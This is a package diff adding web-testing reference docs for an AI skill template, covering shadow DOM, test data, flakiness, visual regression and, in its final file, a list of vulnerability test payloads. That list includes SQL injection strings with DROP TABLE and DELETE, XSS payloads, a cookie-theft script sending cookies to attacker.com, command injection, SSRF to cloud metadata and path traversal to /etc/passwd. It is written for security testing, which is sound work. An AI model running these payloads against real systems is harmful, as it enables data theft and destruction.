thanh-kit 2.5.0 → 2.5.2

package/templates/skills/web-testing/references/shadow-dom-testing.md

@@ -0,0 +1,70 @@
+# Shadow DOM & Web Components Testing
+
+## Challenges
+
+- CSS encapsulation breaks selectors
+- Elements hidden from DOM queries
+- XPath doesn't penetrate shadow boundaries
+
+## Tool Support
+
+| Tool | Support | Method |
+|------|---------|--------|
+| Playwright | Native | `>>` piercing selector |
+| Cypress | Good | `.shadow()` command |
+| Selenium | Limited | JS execution |
+| Axe | v5.7+ | API support |
+
+## Playwright Shadow Piercing
+
+```javascript
+const input = page.locator('my-component >> .internal-input');
+const button = page.locator('comp-a >> comp-b >> button');
+const el = page.locator('custom-element >> button:has-text("Click me")');
+```
+
+## Cypress Shadow DOM
+
+```javascript
+cy.get('my-component').shadow().find('.internal-button').click();
+
+// Enable globally: { includeShadowDom: true }
+```
+
+## Selenium Workaround
+
+```javascript
+const shadowHost = driver.findElement(By.css('my-component'));
+const shadowRoot = driver.executeScript('return arguments[0].shadowRoot', shadowHost);
+const button = shadowRoot.findElement(By.css('button'));
+```
+
+## Page Object Pattern
+
+```typescript
+export class MyComponentPO {
+  constructor(private page: Page) {}
+
+  async fillEmail(email: string) {
+    await this.page.locator('my-form >> input[type="email"]').fill(email);
+  }
+
+  async submit() {
+    await this.page.locator('my-form >> button[type="submit"]').click();
+  }
+}
+```
+
+## Best Practices
+
+1. Request `open` shadow roots when possible
+2. Encapsulate shadow traversal in page objects
+3. Avoid deep nesting (increases complexity)
+
+## Debugging
+
+```javascript
+const contents = await page.evaluate(() => {
+  return document.querySelector('my-component').shadowRoot.innerHTML;
+});
+```

package/templates/skills/web-testing/references/test-data-management.md

@@ -0,0 +1,131 @@
+# Test Data Management
+
+## Faker.js (Dynamic Data Generation)
+
+```typescript
+import { faker } from '@faker-js/faker';
+
+// Reproducible data (seeding)
+faker.seed(123);
+
+const user = {
+  id: faker.string.uuid(),
+  name: faker.person.fullName(),
+  email: faker.internet.email(),
+  avatar: faker.image.avatar(),
+  createdAt: faker.date.past(),
+};
+```
+
+## Factory Pattern (Fishery)
+
+```typescript
+import { Factory } from 'fishery';
+import { faker } from '@faker-js/faker';
+
+// Define factory
+const userFactory = Factory.define<User>(() => ({
+  id: faker.string.uuid(),
+  name: faker.person.fullName(),
+  email: faker.internet.email(),
+  role: 'user',
+}));
+
+// Usage
+const user = userFactory.build();
+const admin = userFactory.build({ role: 'admin' });
+const users = userFactory.buildList(5);
+```
+
+## Factory with Associations
+
+```typescript
+const postFactory = Factory.define<Post>(({ associations }) => ({
+  id: faker.string.uuid(),
+  title: faker.lorem.sentence(),
+  author: associations.author || userFactory.build(),
+}));
+
+const post = postFactory.build({
+  author: userFactory.build({ role: 'admin' }),
+});
+```
+
+## Fixtures (Static Baseline Data)
+
+```typescript
+// fixtures/users.ts
+export const testUsers = {
+  admin: {
+    id: 'admin-001',
+    email: 'admin@test.com',
+    role: 'admin',
+  },
+  member: {
+    id: 'member-001',
+    email: 'member@test.com',
+    role: 'member',
+  },
+};
+
+// In tests
+import { testUsers } from './fixtures/users';
+```
+
+## Combined Pattern (Fixtures + Factories)
+
+```typescript
+// Baseline fixtures for known states
+const baseUser = testUsers.admin;
+
+// Factory for dynamic variations
+const dynamicUser = userFactory.build({
+  ...baseUser,
+  email: faker.internet.email(), // Override specific fields
+});
+```
+
+## Database Seeding
+
+```typescript
+// seed.ts
+async function seedTestData(db: Database, workerIndex: number) {
+  // Worker-isolated data
+  const prefix = `w${workerIndex}`;
+
+  await db.users.insertMany([
+    { id: `${prefix}-user-1`, email: `user1-${prefix}@test.com` },
+    { id: `${prefix}-user-2`, email: `user2-${prefix}@test.com` },
+  ]);
+}
+
+async function clearTestData(db: Database, workerIndex: number) {
+  const prefix = `w${workerIndex}`;
+  await db.users.deleteMany({ id: { $regex: `^${prefix}` } });
+}
+```
+
+## Best Practices
+
+- **Reproducibility:** Seed Faker for consistent test data
+- **Isolation:** Prefix data with worker index for parallelism
+- **Cleanup:** Always clean up in afterEach/afterAll
+- **Minimal data:** Only create what's needed for test
+- **Type safety:** Type your factories
+
+## Anti-Patterns
+
+```typescript
+// BAD: Hardcoded values
+const user = { email: 'test@test.com' }; // Collisions!
+
+// GOOD: Dynamic generation
+const user = { email: faker.internet.email() };
+
+// BAD: Shared mutable state
+let globalUser;
+beforeAll(() => { globalUser = createUser(); });
+
+// GOOD: Fresh data per test
+beforeEach(() => { user = userFactory.build(); });
+```

package/templates/skills/web-testing/references/test-flakiness-mitigation.md

@@ -0,0 +1,86 @@
+# Test Flakiness Mitigation
+
+## Root Causes
+
+- Timing mismatches (hard waits)
+- Non-isolated tests (shared state)
+- Network instability
+- Animation timing
+
+## Explicit Waits (Not Hard Waits)
+
+```javascript
+// BAD: Hard wait
+await new Promise(r => setTimeout(r, 500));
+
+// GOOD: Wait for condition
+await page.waitForSelector('.success', { timeout: 10000 });
+await expect(page.locator('.count')).toContainText('5');
+
+// BEST: Playwright auto-wait
+await page.getByRole('button', { name: /submit/i }).click();
+```
+
+## Wait Timeout Guidelines
+
+| Scenario | Timeout |
+|----------|---------|
+| Page load | 10-15s |
+| Element visibility | 5-10s |
+| API responses | 30-60s |
+
+## Retry Strategies
+
+```javascript
+// Playwright built-in
+test.describe.configure({ retries: 3 });
+
+// Per-test
+test('flaky test', async ({ page }) => { /* */ }, { retries: 3 });
+
+// Exponential backoff
+async function retryWithBackoff(fn, maxRetries = 3) {
+  for (let i = 0; i < maxRetries; i++) {
+    try { return await fn(); }
+    catch (e) {
+      if (i === maxRetries - 1) throw e;
+      await new Promise(r => setTimeout(r, Math.pow(2, i) * 1000));
+    }
+  }
+}
+```
+
+## Test Isolation
+
+```javascript
+// BAD: Dependent tests
+let userId;
+test('create', async () => { userId = await createUser(); });
+test('load', async () => { await loadUser(userId); }); // Depends on previous!
+
+// GOOD: Independent
+test('create and load', async ({ page }) => {
+  const userId = await createUser(page);
+  await loadUser(page, userId);
+});
+```
+
+## Disable Animations
+
+```css
+* { animation-duration: 0s !important; transition-duration: 0s !important; }
+```
+
+## Network Stability
+
+```javascript
+await page.route('**/external-api/**', route =>
+  route.fulfill({ status: 200, body: '{}' })
+);
+```
+
+## Flakiness Detection
+
+```bash
+npx playwright test --repeat-each=5
+```

package/templates/skills/web-testing/references/testing-pyramid-strategy.md

@@ -0,0 +1,76 @@
+# Testing Strategy Models
+
+## Model Comparison
+
+| Model | Structure | Best For |
+|-------|-----------|----------|
+| Pyramid | Unit 70% > Integration 20% > E2E 10% | Monoliths, logic-heavy |
+| Trophy (Dodds) | Static > Integration (largest) > Unit > E2E | Modern SPAs |
+| Honeycomb (Spotify) | Contract-centric cells | Microservices |
+| Diamond | Balanced unit/integration | Domain services |
+
+## Testing Trophy (Recommended for SPAs)
+
+```
+         E2E (minimal)
+        /------------\
+       / Integration  \   <-- Largest portion
+      /----------------\
+     /   Unit Tests     \
+    /--------------------\
+   /   Static Analysis    \  <-- Foundation
+  /________________________\
+```
+
+**Philosophy:** "The more your tests resemble how software is used, the more confidence they give you." - Kent C. Dodds
+
+**Key Principles:**
+- Test behavior, not implementation
+- Minimize mocking
+- Prioritize integration tests
+- Use accessible queries (getByRole first)
+
+## Testing Honeycomb (Microservices)
+
+Contract testing at center, interconnected cells for:
+- Unit tests (implementation details)
+- Integration tests (service boundaries)
+- Contract tests (API agreements)
+- E2E tests (critical paths only)
+
+## Ratios by Context
+
+| Context | Unit | Integration | E2E |
+|---------|------|-------------|-----|
+| Classic Pyramid | 70% | 20% | 10% |
+| Testing Trophy | 30% | 50% | 10% |
+| API-heavy | 75% | 15% | 10% |
+| Microservices | 40% | 40% | 20% |
+
+## Priority Matrix
+
+| Priority | Category | Examples |
+|----------|----------|----------|
+| P0 | Core flows | Signup, login, checkout, payment |
+| P1 | Major features | Search, CRUD, navigation |
+| P2 | Secondary | Filters, sorting, pagination |
+| P3 | Edge cases | Empty states, max limits |
+
+## Coverage Targets
+
+| Area | Target |
+|------|--------|
+| Critical paths | 100% |
+| Core features | 80-90% |
+| Overall | 75-85% |
+
+**Note:** Coverage as diagnostic, not target. Focus on what's uncovered.
+
+## CI/CD Order
+
+```yaml
+- run: npm run lint          # Gate 0: Static analysis
+- run: npm run test:unit     # Gate 1: Fast fail
+- run: npm run test:integration # Gate 2
+- run: npm run test:e2e      # Gate 3: Pre-merge
+```

package/templates/skills/web-testing/references/unit-integration-testing.md

@@ -0,0 +1,138 @@
+# Unit & Integration Testing
+
+## Framework Comparison
+
+| Framework | Speed | Best For |
+|-----------|-------|----------|
+| Vitest | Fastest | Modern projects, Vite |
+| Jest | Fast | React/CRA legacy |
+| Bun test | Ultra-fast | Bun projects |
+
+## Vitest Setup
+
+```typescript
+// vitest.config.ts
+export default defineConfig({
+  test: {
+    environment: 'jsdom', // or 'happy-dom'
+    globals: true,
+    coverage: { reporter: ['text', 'json', 'html'] },
+  },
+});
+```
+
+## Vitest Browser Mode (Real Browser)
+
+```typescript
+// vitest.config.ts - higher fidelity than jsdom
+export default defineConfig({
+  test: {
+    browser: {
+      enabled: true,
+      name: 'chromium',
+      provider: 'playwright',
+    },
+  },
+});
+```
+
+**When to use:** Complex DOM interactions, CSS testing, browser APIs
+
+## Test Structure (AAA)
+
+```typescript
+import { describe, it, expect, beforeEach } from 'vitest';
+
+describe('UserService', () => {
+  let service: UserService;
+
+  beforeEach(() => {
+    service = new UserService();
+  });
+
+  it('creates user with valid data', () => {
+    // Arrange
+    const userData = { email: 'test@example.com' };
+
+    // Act
+    const user = service.create(userData);
+
+    // Assert
+    expect(user.id).toBeDefined();
+    expect(user.email).toBe('test@example.com');
+  });
+
+  it('throws on invalid email', () => {
+    expect(() => service.create({ email: 'invalid' }))
+      .toThrow('Invalid email');
+  });
+});
+```
+
+## Integration Test
+
+```typescript
+describe('User API', () => {
+  let db: Database;
+
+  beforeAll(async () => {
+    db = new Database(':memory:');
+    await db.migrate();
+  });
+
+  afterEach(async () => {
+    await db.clearAllTables();
+  });
+
+  it('persists and retrieves user', async () => {
+    await db.users.insert({ email: 'test@example.com' });
+    const user = await db.users.findOne({ email: 'test@example.com' });
+    expect(user).toBeDefined();
+  });
+});
+```
+
+## Test Naming
+
+```typescript
+// Good - describes behavior
+it('should return 200 when valid token provided');
+it('should throw ValidationError when email invalid');
+
+// Bad - vague
+it('test1');
+it('works');
+```
+
+## Mocking
+
+```typescript
+import { vi } from 'vitest';
+
+// Mock module
+vi.mock('./api', () => ({
+  fetchUser: vi.fn().mockResolvedValue({ name: 'John' })
+}));
+
+// Spy
+const spy = vi.spyOn(console, 'log');
+expect(spy).toHaveBeenCalledWith('message');
+```
+
+## Coverage Targets
+
+| Area | Target |
+|------|--------|
+| Critical paths | 100% |
+| Core features | 80-90% |
+| Overall | 75-85% |
+
+## Commands
+
+```bash
+npx vitest run              # Run all
+npx vitest                  # Watch mode
+npx vitest run --coverage   # Coverage
+npx vitest run -u           # Update snapshots
+npx vitest --browser        # Browser mode
+```

package/templates/skills/web-testing/references/visual-regression.md

@@ -0,0 +1,92 @@
+# Visual Regression Testing
+
+## Playwright Screenshot Comparison
+
+```typescript
+import { test, expect } from '@playwright/test';
+
+test('homepage visual', async ({ page }) => {
+  await page.goto('http://localhost:3000');
+  await expect(page).toHaveScreenshot('homepage.png');
+});
+
+test('component visual', async ({ page }) => {
+  await page.goto('http://localhost:3000');
+  const header = page.locator('header');
+  await expect(header).toHaveScreenshot('header.png');
+});
+
+test('with threshold', async ({ page }) => {
+  await page.goto('http://localhost:3000');
+  await expect(page).toHaveScreenshot('page.png', {
+    maxDiffPixels: 100,
+    maxDiffPixelRatio: 0.01,
+  });
+});
+```
+
+## Configuration
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: { maxDiffPixels: 50, threshold: 0.2 },
+  },
+  projects: [
+    { name: 'chromium', use: { ...devices['Desktop Chrome'] } },
+    { name: 'mobile', use: { ...devices['iPhone 12'] } },
+  ],
+});
+```
+
+## Commands
+
+```bash
+npx playwright test --update-snapshots        # Update all
+npx playwright test visual.spec.ts -u         # Update specific
+```
+
+## Workflow
+
+1. **Baseline**: First run creates reference screenshots
+2. **Compare**: Subsequent runs compare against baseline
+3. **Review**: Check diff images on failure
+4. **Approve**: Update snapshots if change is intentional
+
+## Best Practices
+
+- Test critical UI components individually
+- Use consistent viewport sizes
+- Disable animations: `animation-duration: 0s !important`
+- Mock dynamic content (dates, random data)
+- Run on CI with consistent environment
+
+## Third-Party Tools
+
+| Tool | Use Case |
+|------|----------|
+| Percy | Cloud-based, BrowserStack integration |
+| Chromatic | Storybook visual testing |
+| Playwright | Built-in, no vendor lock-in |
+
+## CI Integration
+
+```yaml
+- name: Visual Tests
+  run: npx playwright test --grep @visual
+- uses: actions/upload-artifact@v4
+  if: failure()
+  with:
+    name: visual-diffs
+    path: test-results/
+```
+
+## Visual vs Accessibility
+
+| Aspect | Visual | Accessibility |
+|--------|--------|---------------|
+| Catches | Layout, colors | Semantic, ARIA |
+| Method | Pixel diff | DOM analysis |
+
+**Use both**: Visual misses semantic issues, a11y misses layout bugs.

package/templates/skills/web-testing/references/vulnerability-payloads.md

@@ -0,0 +1,93 @@
+# Vulnerability Test Payloads
+
+## SQL Injection
+
+### Text Input
+```
+' OR '1'='1
+' OR 1=1 --
+'; DROP TABLE users; --
+' UNION SELECT NULL, NULL --
+```
+
+### Numeric Input
+```
+1 OR 1=1
+1; DELETE FROM users; --
+```
+
+### Blind (Time-based)
+```
+' OR SLEEP(5) --
+' AND (SELECT(SLEEP(5)))a --
+```
+
+## XSS (Cross-Site Scripting)
+
+### Reflected
+```html
+<script>alert('XSS')</script>
+<img src=x onerror=alert('XSS')>
+<svg/onload=alert('XSS')>
+"><script>alert('XSS')</script>
+```
+
+### DOM-based
+```
+javascript:alert('XSS')
+<iframe src="javascript:alert('XSS')"></iframe>
+```
+
+### Cookie Theft
+```html
+<script>fetch('http://attacker.com/?c='+document.cookie)</script>
+```
+
+## NoSQL Injection (MongoDB)
+
+```json
+{"$ne": null}
+{"$gt": ""}
+{"$regex": ".*"}
+{"$where": "1==1"}
+```
+
+## Command Injection
+
+```
+; ls -la
+| whoami
+`whoami`
+$(whoami)
+```
+
+## SSRF
+
+```
+http://localhost/admin
+http://127.0.0.1/admin
+http://169.254.169.254/  # AWS metadata
+```
+
+## Path Traversal
+
+```
+../../../etc/passwd
+..%2F..%2F..%2Fetc%2Fpasswd
+```
+
+## CSRF Testing
+
+1. Submit form without CSRF token
+2. Reuse captured token multiple times
+3. Modify/remove token parameter
+
+## Testing Tools
+
+```bash
+# SQLMap
+sqlmap -u "http://example.com/page?id=1" --dbs
+
+# OWASP ZAP active scan
+zap-cli active-scan http://example.com
+```